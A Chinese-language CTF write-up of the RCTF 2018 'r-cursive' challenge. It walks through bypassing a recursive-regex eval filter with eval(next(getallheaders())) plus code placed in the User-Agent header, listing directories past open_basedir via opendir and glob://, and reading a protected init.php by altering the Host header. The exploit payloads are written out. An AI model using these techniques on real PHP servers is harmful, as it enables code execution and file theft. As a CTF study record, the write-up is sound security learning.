RCTF_R-CURSIVE

作者: Cyc1e | 来源:发表于2018-05-21 15:55 被阅读59次

这次的rctf没怎么看,傍晚开始看 r-cursive 这题,源码特别简单:
index.php

<?php
sha1($_SERVER['REMOTE_ADDR']) === '9944105bfb8294278dbf87f4c52e8476ebf9ab68' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
这里主要有正则,preg_replace('/[^\W_]+((?R)?)/', NULL, $_GET['cmd']),\w 就很烦人了,所以首先要做的就是过这个正则达到任意执行。通过构造cmd=eval(next(getallheaders()));在请求头里插入可执行代码来达到任意执行(这里不止next可以用,主要就是决定你构造代码放在header的什么位置,还有implode,end.....都可以用)我用的是next就是,执行代码插在user_agent中: Test
那么接下来也就是要列出目录,找到flag文件了,这里卡了好久,主要要做的就是绕过openbase_dir的限制,把出了/tmp目录和index.php所在目录除外的其他目录给列出来 openbase_dir限制
最后通过opendir + glob://协议列出目录:if($dh=opendir("glob:///var*/www*/sandbox*/*")){while(($file=readdir($dh))!==false){echo"$file\n";}closedir($dh);} 一波谜一样的操作 列出目录

发现众多token文件夹后面夹生这init.php和php.ini,猜测flag应该是放在init.php里了,但是我们的权限是在 78854209fa4889d51dd0016ceab319f852d90ec9 文件夹下面的,因为vhost_alias的配置的原因,所以我们默认进入网站的时候是在token目录下的,因为openbase_dir的限制,直接读取init.php文件是读不到的

读取init.php文件失败
这里可以想想因为我们默认是在token文件夹里,所以我们可以正常读取index.php的源码,那如果我们出了token文件夹,那也就可以正常读取init.php文件了所以我们可以修改请求时的URL:http://78854209fa4889d51dd0016ceab319f852d90ec9.sandbox.r-cursive.ml:1337/78854209fa4889d51dd0016ceab319f852d90ec9/?cmd=eval(next(getallheaders())); 修改请求头中的HOST为:.sandbox.r-cursive.ml:1337,利用file_get_contents()函数来读取init.php文件 init.php 这样也就跨出限制,成功读取到flag。
比赛滑水,也就只看了这道题,其他的题看都没看,不过这次比赛题目质量真心好,有时间都可以做做,仅写来供自己学习记录用。

相关文章

  • RCTF_R-CURSIVE

    这次的rctf没怎么看,傍晚开始看 r-cursive 这题,源码特别简单:index.php 发现众多token...

网友评论

    本文标题:RCTF_R-CURSIVE

    本文链接:https://www.haomeiwen.com/subject/cwgfjftx.html